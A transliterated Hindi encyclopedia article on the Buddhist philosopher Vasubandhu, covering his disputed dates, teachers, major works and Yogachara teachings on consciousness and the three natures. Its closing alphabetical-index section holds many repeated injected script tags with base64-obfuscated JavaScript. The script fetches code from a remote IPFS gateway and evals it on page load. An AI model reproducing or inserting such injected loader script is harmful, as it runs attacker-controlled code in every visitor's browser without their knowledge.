वसुबन्धु बौद्धाचार्य

vasubandhu ki bauddh jagat mean ek prakand pandit aur shastrarth-patuta ke karan b di pratishtha hai. apani anek kritiyoan dvara unhoanne buddh ke mantavy ka lok mean prasar karake lok ka mahanh kalyan siddh kiya hai. unake is parahit krity ko dekhakar vidvanoan ne unhean 'dvitiy buddh' ki upadhi se vibhooshit kiya. achary vasubandhu shastrarth mean atyant nipun the. unhoanne mahavaiyakaran vasurat ko shastrarth mean parajit kiya tha. suna jata hai ki saankhyachary vindhyavasi ne unake guru buddhamitr ko parajit kar diya tha. is parajay ka badala lene vasubandhu vindhyavasi ke pas shastrarth karane pahuanche, kintu tab tak vindhyavasi ka nidhan ho gaya tha. phalat: unhoanne vindhyavasi ke 'saankhyasaptati' granth ke khandan mean 'paramarthasaptati' namak granth ki rachana ki.

jivan parichay

vasubandhu ke jivan aur avirbhav tithi ke vishay mean matabhed haian. paramarth (499-569) ne chini bhasha mean vasubandhu ki jivani likhi thi. isase pata chalata hai ki achary vasubandhu kaushik gotr ke brahman the aur inaka janm 'purushapur' (peshavar) mean hua tha. ye tin bhaee the. inamean jyeshth asang the. vasubandhu unase chhote the. sabase chhote bhaee ka nam virianchivats tha. asang aur vasubandhu arambh mean sarvastivad ki mahishasak shakha ke anuyayi the, bad mean mahayan mean dikshit hue. ye ayodhya ke nivasi rahe the aur assi varsh ki avastha mean inaka dehant hua.

samay kal

vasubandhu ki tithi ke vishay mean vidvanoan mean kafi vivad hai. vasubandhu ka sarvadhik many samay chauthi shatabdi eesavi san hai. bauddh nyayashastr ke mukhy pravartak achary dinnag inake shishy the. vasubandhu ka samay 360-440 ee. asthayi roop se svikar kiya ja sakata hai. bhotadeshiy itihasakar lama taranath aur budon ke anusar inhoanne sanghabhadr se vidyadhyayan kiya tha. achary paramarth ke anusar inake guru buddhamitr the. any vidvanoan mean takakusoo ke anusar 420-500 eesviy varsh unaka kal hai. vogihara mahoday ke matanusar achary 390 se 470 eesviy varshoan mean vidyaman the. silavaan levi unaka samay paanchavian shatabdi ka poorvarddh manate haian. en. peri mahoday unaka samay 350 eesviy varsh siddh karate haian. phrau valnar mahoday isi mat ka samarthan karate haian. in sab vivadoan ke samadhan ke lie kuchh vidvan do vasubandhuoan ka astitv manate haian. unamean ek vasubandhu to achary asang ke chhote bhaee the, jo mahayan shastroan ke praneta hue tatha doosare vasubandhu sautrantik the, jinhoanne abhidharm kosh ki rachana ki. vintaranitj, maikadonal, d aau. vidyabhooshan, d aau. vinayatosh bhattachary adi vidvan achary ko eesviy chaturth shatabdi ka manate haian.

achary kumarajiv ne vasubandhu ke anek granthoan ka chini bhasha mean anuvad kiya hai. ve 344 se 413 eesviy varsh mean vidyaman the. suna jata hai ki kumarajiv ne apane guru sooryasom se vasubandhu ke 'saddharmapundarikopadesh shastr' ka adhyayan kiya tha. aryadevavirachit shatashastr ki 'vasubandharachit' vyakhya ka chini bhasha mean anuvad 404vean eesviy varsh mean tatha vasubandhupranit 'bodhichittotpad shastr' ka 405vean varsh mean chini bhasha mean anuvad hua tha. bodhiruchi ne vasubandhu 'vajrachchhedikaprajnaparamitashastr' ki vajrarshikrit vyakhya ka anuvad 535 eesviy varsh mean sampann kiya tha. in pramanoan ke adhar par mahayan-granthoan ke rachayita vasubandhu abhidharmakoshakar vasubandhu se bhinn pratit hote haian. abhidharmakosh ke vyakhyakar yashomitr apani vyakhya mean vasubandhu namak ek any achary ki soochana dete haian. ve unhean 'vriddhachary vasubandhu' kahate haian. tibbati parampara achary ko buddh ke navam shatak mean vidyaman manati hai. bisavian shatabdi mean bhotadeshiy itihasakar ge-dun-chhos-phel mahoday ka kahana hai ki bhotadeshiy samrat srodh-chanh-gampo, bharatiy samrat shriharsh, achary dinnag, kavi kalidas, achary dandi, islam dharmapravartak muhammad sahab ye sab mahapurush kuchh kal ke antar se pray: saman kalik the. paramarth, hvenasaang, taranath, takakusoo adi itihasavettaoan ka kahana hai, do vasubandhuoan ki kalpana nirarthak hai, vasubandhu ek hi the aur ve 420 se 500 eesviy varshoan ke madhy vidyaman the. adhunik itihasakar bhi isi mat ka samarthan karate hue drishtigochar hote haian.

vidvan vichar

hnenasaang ke matanusar paramarth inake guru the. sambhav hai ki inhoanne vibhinn guruoan ke samip baithakar jnanarjan kiya ho. us kal mean ayodhya pradhan vidyakendr ke roop pratishthit thi. yahian nivas karate hue unhoanne gambhir darshanoan ka talasparshi adhyayan-adhyapan aur abhidharmakosh adi prasiddh granthoan ka pranayan kiya tha.
taranath ke matanusar nalanda mean pravrajit hokar vahian unhoanne sampoorn 'shravakapitak' ka adhyayan kiya tha aur usake bad vishesh adhyayan ke lie ye achary sanghabhadr ke samip gaye the. inaki vidvatta ki kirti sarvatr vyapt thi. inaki vidvatta se prabhavit hokar ayodhya ke samrat chandragupt saankhy mat ko chho dakar bauddh mat ke anuyayi ho gaye the. unhoanne apane putr 'baladity' ko aur apani patni maharani 'dhruva' ko adhyayan ke lie inake samip bheja tha.
'tattvasangrah' namak granth ki panjika ke rachayita achary kamalashil ne apane granth mean inake vaidushy ki b di prashansa ki hai. assi varsh ki ayu mean ayodhya mean hi inaka dehavasan hua. taranath ke matanusar nepal mean aur mahapandit rahul saankrityayan ke matanusar gandhar mean inaka nidhan hua tha.

svatantr vicharak tatha pratibha sampann

jivan ke prarambhik kal mean vasubandhu sarvastivadi the. achary sanghabhadr ke prabhav se ye 'kashmir-vaibhashik' ho ge aur usi samay inhoanne 'abhidharmakosh' ka pranayan kiya. is granth ka vidvatsamaj mean b da adar tha. mahakavi banabhatt ne apane harshacharit granth mean abhidharmakosh ka ullekh kiya hai. sianhaladvip ke mahakavi shrirahul sangharaj ne 15vian vikram shatabdi mean pranit apane granth moggalanapanchikapradip mean abhidharmakosh ke vachan ka uddharan diya hai. achary vasubandhu sabhi atharah nikay ke tatha mahayan ke darshanik siddhantoan ke advitiy jnata the, yah bat unaki kritiyoan se spasht hoti hai. sarvapratham ve sarvastivadi nikay mean pravrajit hue. tadanantar unhoanne kashmir mean vaibhashik shastroan ka adhyayan kiya. us samay kashmir mean sautrantikoan ka prabhav kshetr vistrit evan dhanibhoot ho raha tha. sautrantikoan ka darshanik parivesh nishchay hi vaibhashikoan ki apeksha sookshm bhi tha aur yuktisangat bhi. phalat: achary ne apane abhidharmakosh aur usake svabhashy mean yatr tatr vaibhashikoan ki visangatiyaan ki or iangit bhi kiya aur unaki alochana bhi ki hai. unaki rachanaoan ke adhyayan se ek bat nishchay hi spasht hoti hai ki ve ek svatantr vicharak evan pratibhasampann vyakti the.

granth rachana

vasubandhu ne vaibhashik siddhaantoan ka samyak pratipadan karane ke lie 'abhidharmakosh' namak granth ki rachana ki thi, jisamean chh: sau karikaean haian. bad mean achary ne isaka ek bhashy bhi likha. parampara se jnat hota hai ki bhashy mean mean achary vasubandhu ne sautrantik naye ko svikar kiya tha, jisake khandan ke lie achary sanghadhabhadr ne pachchis hazar shlokoan mean 'nyayanusar' shastr ki rachana ki thi. 'karmasiddhiprakaran' achary ki doosari rachana hai, jisamean sautrantik drishti hote hue bhi mahayan ka prabhav lakshit hota hai. mano ve hinayan se mahayan mean parivartan ki sankraman rekha par karate hue vijnanavadi yogachar drishtikon ka samarthan kar rahe the. pachchaskandh prakaran aur vyakhyayukti achary vasubandhu ki doosari rachanaean haian. 'trisvabhavanirdesh' mean mahayan siddhaantoan ka, vishesh roop se paratantr, parikalpit aur parinishpann in tin svabhavoan (lakshanoan) ka sugam riti se pratipadan kiya gaya hai. shivatika (savritti) aur trianshika karikaoan mean achary vasubandhu ke mahayan drishtikon ki abhivyakti huee hai. jabaki vianshika karika aur usaki vritti mean yogachar ke drishtikon se bahyarth ka pratishedh hai, trianshika ki tis karikaoan mean vijnanavad ke alay vijnan siddhaant ka kramabaddh niroopan kiya gaya hai. madhyantasootr vibhag sootrabhashy ary maitreyanath ke madhyantasootr vibhag ki vistrit tika hai. isake atirikt paramarthasaptati, saddharmapundarikopadesh, vajrachchhaidika prajnaparamitashastr, ary dev ke shatashastr ki vyakhya prabhooti granth bhi vasubandhu ki kritiyoan ke roop mean svikar kiye jate haian. achary vasubandhu ne sarvastivadi drishtikon se abhidharmakosh (karika tatha bhashy) ke ath koshasthanoan- dhatu, indriy, lokadhatu, karm, anushay, aryapudgal, jnan aur dhyan tatha parishisht roop pudgalakosh (bhashy) mean abhidharm ke siddhaantoan ka vishad roop se upanyas kiya hai.

dharm ke svaroop ka vivechan

sanuchar anasrav prajna hi abhidharm kahi jati hai. abhidharm pratipadak shastr bhi abhidharm ki akhya ko prapt karata hai. sabhi dharm svalakshan, nana aur niratmak haian. isake pravichay se hi kleshoan ka upasham sambhav hai, anyatha nahian. isilie vasubandhu ne abhidharmakosh mean dharmoan ke svaroop ka vistrit vivechan kiya hai. dharm sasrav (malin) aur anasrav ke bhed se do prakar ke bataye ge haian. marg saty ke atirikt sabhi sanskrit (hetu pratyam janit) dharm sasrav hote haian. tin asanskrit dharm aur margasaty anasrav haian. asanskrit dharm hai- akash, pratisankhyanirodh aur apratisankhyanirodh. akash anavaran svabhav hai, kyoanki akash kisi prakar ke rodh ya badha ka karan nahian banata aur roop ka usamean sanchar abadh roop se hota hai. akash n to roop se avrit hota hai n apagat. pratisankhyanirodh ka arth hai prithak-prithakh visanyog. pratisankhya ya prajna dvara sasrav dharmoan se visanyog hi pratisankhya nirodh ya nirvan kaha jata hai. pratisankhya ya pratisankhyan se ek prajnavishesh ka, anasrav prajna ka, du:khadi aryasatyoan ke abhisamay ka grahan hota hai. apratisankhyanirodh ka tatpary hai vah nirodh jo utpad ka atyant vighnabhoot hai. isaki prapti saty sakshatkar se n hokar pratyay vaikalp se hoti hai. udaharan ke lie jab indriyaan (yatha chakshurindriy aur man) kisi ek roop mean asakt hote haian, us samay any roop (yatha shabd adi) kisi doosare adhva (yatha atit) mean chale jate haian. pratyayoan ke vaikalp se utpann hone vala yah nirodh hi apratisankhya nirodh kaha jata hai.

sanskrit dharm

hetu pratyayoan se utpann roopadi ko 'sanskrit dharm' kaha jata hai. adhv (trividhi kal), kathavastu (vaks vishay), sani:sar (ni:saranayukt) aur sarvastuk (sahetuk) bhi sanskrit dharmoan ke paryay haian, jinase kramash: inaki kalikata, vaky vishayata, heyata aur karan niyam ka bodh hota hai. ye sanskrit dharm sankhya mean bahattar haian aur inamean roop, vedana, sanjna, sanskar aur vijnan in paanch skandhoan ka sangrah hai. skandh shabd ka arth hai rashi yani dharmoan ka samooh. roop se bhoot ya maitar ka tatpary grahit hota hai. samast bhoot aur bhautik padarth roop ke aantargat ate haian. bhootaroop aur upaday roop ke bhed se roop dvividh hota hai. prithvi, jal, tej aur vayu ye char bhoot haian. in char bhootoan se nana prakar ke roop banate haian, jo upaday roop ki shreni mean ate haian. chakshushrautr, ghran, jihva, kay aur unake vishay roop shabd, gandh, ras aur sparsh ye paanch mukhy upaday roop haian. samast bhoot aur bhautik paramanu nirmit haian. pratyek mahabhoot ke prithak-prithakh paramanu hote haian. roopaprasad yani sookshm aur atindriy athava bhautik dhatu aur paanch indriyoan ke paanch vishayoan ke prithakh paramanu hote haian. paramanu niravayav, digbhedahin, nirantar aur sookshmatam roopasanghat hote haian. vedana skandh se tatpary hai sukha, du:kha ya adukhasukha (anijjay) vedana ya anubhav. sanjna nimittoan ka udgrahan ya parichchhed karati hai. vijnan vishayaprativijnapti roop hota hai. paanch indriyoan aur man se sambaddh chh: prakar ke vijnan bataye ge haian.

sanskar-skandh

roop, vedana, sanjna aur vijnan se bhinn shesh sanskar sanskar-skandh mean sangrahit haian. sanskar-skandh ke aantargat chitt samprayukt (46) aur chitt viprayukt (14) sanskaroan ki ganana ki jati hai. paanch skandh kshanik aur nity parivartanashil haian. ye manushy ke vyaktitv ka nirman karate haian aur vastu, indriy aur vijnan, is trik sannipat roop pratyay se utpann hote haian. inase bhinn atma koee doosara nity nam ka padarth nahian hai. isilie bhagavan ne kaha hai, karm hai, karmaphal hai, kintu koee karak nahian hai, jo dharmoan ke sanket arthath hetuphal sanbandh ki vyavastha se prithakh skandhoan ka parityag ya grahan kare. pratityasamutpad ke niyam ke anusar ye paanch skandh hi santan roop mean maranabhav se upapattibhav paryant vistar ko prapt karate haian. ye hi mata ki kukshi mean pravesh kar punarjanm ke bhagi hote haian. vasubandhu ka spasht kathan hai-

natmasti skandhamatrantu kleshakarmabhisanskritamh.
antarabhavasantatya kukshimeti-pradipavath.. abhi ko..

bhagavan buddh ne jis sapekshata ke idampratyayataroop, karanatavad ke siddhaant pratityasamutpad ka pratipadan kiya tha, usake barah aank haian, jinhean bhavanag bhi kahate haian. ye haian- avidya, sanskar, namaroop, shadayatan, sparsh, vedana, trishna, upadan bhav, jati aur jaramaran, du:kh, daurmanasy, upayas aur upaklesh, jo ek doosare ki pratiti kar sambhoot hote haian. ek ke rahane par doosara aang abhinivritt hota hai. ek ke viruddh hone par apar aang ka bhi nirodh hota hai.

panchaskandh

poorvajanm ki kleshadasha hi avidya hai aur karmadasha sanskar. is janm ke lie roop, vedana, sanjna, sanskar, vijnan ka bijaropan hi vijnan hai. ise pratisandhi vijnan bhi kaha jata hai. janm se poorv garbhit dasha mean panchaskandhoan ki sanvriti namaroop hai, man evan indriyoan vala sthool sharir shadayatan, sukhadu:khatmak anubhav vali vedana ka poorvaroop sparsh, sukh-du:kh ki anubhooti (maithunarag ke poorv ki avastha) ka nam vedana, roopadi kamagun, maithun ke prati rag aur bhog ki kamana trishna, bhogasamprapti hetu pudgal ka yatn upadan, is prakar prabhavit hokar anagat bhav hetu kiya gaya karm bhav, bharan ke anantar pratisandhi, kal mean paanchoan skandhoan ki avastha jati, skandhaparipak jara aur skandh nash bharanh kahalata hai. inamean se pratham do bhavaang atit adhva se, antim do bhavaang anagat adhva se aur shesh ath bhavaang pratyutpann adhva se sambaddh haian.

vijnanavad ki pratishtha

mahayan darshan, visheshat: yogachar vijnanavad ki pratishtha mean vasubandhu ka vishesh yogadan raha hai. sandhinirmochan, lankavatar tatha any akaragranthoan ke tatpary ko achary vasubandhu ne tarkik aur praudh abhivyakti pradan ki hai. vianshika aur trianshika karikaoan tatha trisvabhav nirdesh mean unaki yogachar vicharadhara ki pusht roop se abhivyakti huee hai. vasubandhu yogachar vijnanavad ki drishti se keval vijnaptimatrata ya vijnan ki hi satta svikar karate haian. vijnaptimatr hi sath hai usase vyatirikt kisi bahy ki vishay ki satta vijnanavadi svikar nahian karate haian. yah samast vikalpajnan vijnan ka hi parinam hai. svapn padarthoan ke saman bahyarth ki upalabdhi bhi asath hai. vasanavash bahyarth ke upalambh ka hamean bhram matr hota hai. sahopalambhaniyam ke adhar par nil aur nilavijnan ka abhed siddh hota hai.

niladivijnan se bhinn kisi bahy roop adi vishay ki siddhi, n to avayavi ke roop mean, n hi paramanush: prithakh roop mean hoti hai, kyoanki paramanu svayan atindriy aur anubhav ke avishay hote haian. sath hi bahyarth ko paramanuoan ka sanghat bhi nahian mana ja sakata. jab ek paramanu ka any paramanuoan se sanyog hota hai, tabhi vah shadansh hota hai aur in chh: paramanu bhagoan ke ek deshasth hone par pind bhi anumatr hota hai. is prakar paramanu ke prasiddh ho jane par paramanu sanghat bhi arthat: asiddh ho jata hai. is prakar svapnadrisht padarthoan ke saman hi jagatik anubhav ke samast vishay maya marichi ke saman asath aur bhram svaroop haian. vijnaptiyoan ke adhar bahy vishay nahian hote apith bahy vishayoan ke abhav mean bhi vijnaptiyoan ka uday hota hai.

vijnan ki vidhiyaan

vijnan trividh hota hai. alayavijnan, pravritivijnan aur mananatmak manovijnan. alayavijnan hi samast vijnanoan ka mool srot hai. yah jagat ki samagr vastuoan ke bij ko dharan karane vala aparichhinn pravah roop mean nity samast karmoan aur sanakleshik dharmoan ke bij ka alay hai. yah kshanik aur pravah roop mean nity hai. hetuphalabhav se samast padarth usi mean sanlin rahate haian. alayavijnan anadikalik sarvadharmasamashray aur nirvan ka prayak bhi mana gaya hai. yah vyaktigat hota hai. pravritivijnan sabhi bahy arthoan ki vijnapti ka hi doosara nam hai. paanch jnanendriyoan (chakshu, shrautr, ghran, jihva tak) aur man ke grahy vishayoan ke bhed se yah chh: prakar ka hota hai. pravritivijnan parichchhinn svabhav, kshanik aur anity hota hai tatha chakshuradi isake alamban hote haian. mananatmak klisht manovijnan ka kary paanch jnanendriyoan ke vijnanoan dvara prastut vicharoan ya pratyayoan ka parichchhed (alag-alag) karana hai. yah apane vishayabhoot alayavijnan ko usake svaroop svabhav ke viparit bijaroop mean kalpit karata hai.

vasubandhu ne yogachar ki drishti se parikalpit paratantr aur parinishpann svabhav satta ke in vividh svabhavoan ka svaroop digdarshit kiya hai. ve sabhi padarth jo vyavaharat: sath nahian haian aur jinaka svaroop kalpit hota hai tatha jo vyavaharat: sath padarthoan ke oopar aropit hote haian, parikalpit svabhav parikalpit lakshan kahe jate haian. jaise rajju ke oopar sarp ka arop hota hai. is drishtaant mean sarp parikalpit svabhav kaha jaega. paratantr svabhav ke aantargat samast pratityasamutpann padarthoan ki ganana ki jati hai, jaise uparyukt drishtaant mean trinanirmit rajju paratantr kahi jaegi. bahy jagat ke samast padarth paratantr, kshanik aur vijnanatmak mane ge haian. paramarthat: saty satta hi parinishpann svabhav kahi gee hai. ye samast kotiyaan vikalpoan se aspasht bhedahin advay tatv haian. yah tathata, vijnanadhatu aur dharmadhatu se bhi abhinn hai. vasubandhu vijnapti matrata ke yatharth svaroop ko parinishpann svabhav se hi sambaddh karate haian. kleshavaran aur ropavaran ki nivritti se vishuddh, vijnan, dhatu svaroop, vimal tathata se abhinn nirvan ka adhigam hota hai, jo paramarth lakshan hai.

vasubandhu ka mahattv

vasubandhu ka bauddh parampara mean n keval abhidharm aur yogachar darshan ko ek vyavasthit aur kramabaddh svaroop pradan karane ke karan mahattv hai apitu unaka mahattv bauddh vichar paddhati mean hetuvidya, vadavidhi aur praman vyavastha ko ek nishchit bhoomi pradan karane mean bhi hai, jo age chalakar dinnag, dharmakirti, eeshvarasen tatha any bauddh naiyayik acharyoan ki kritiyoan mean vispasht roop se sphut huee.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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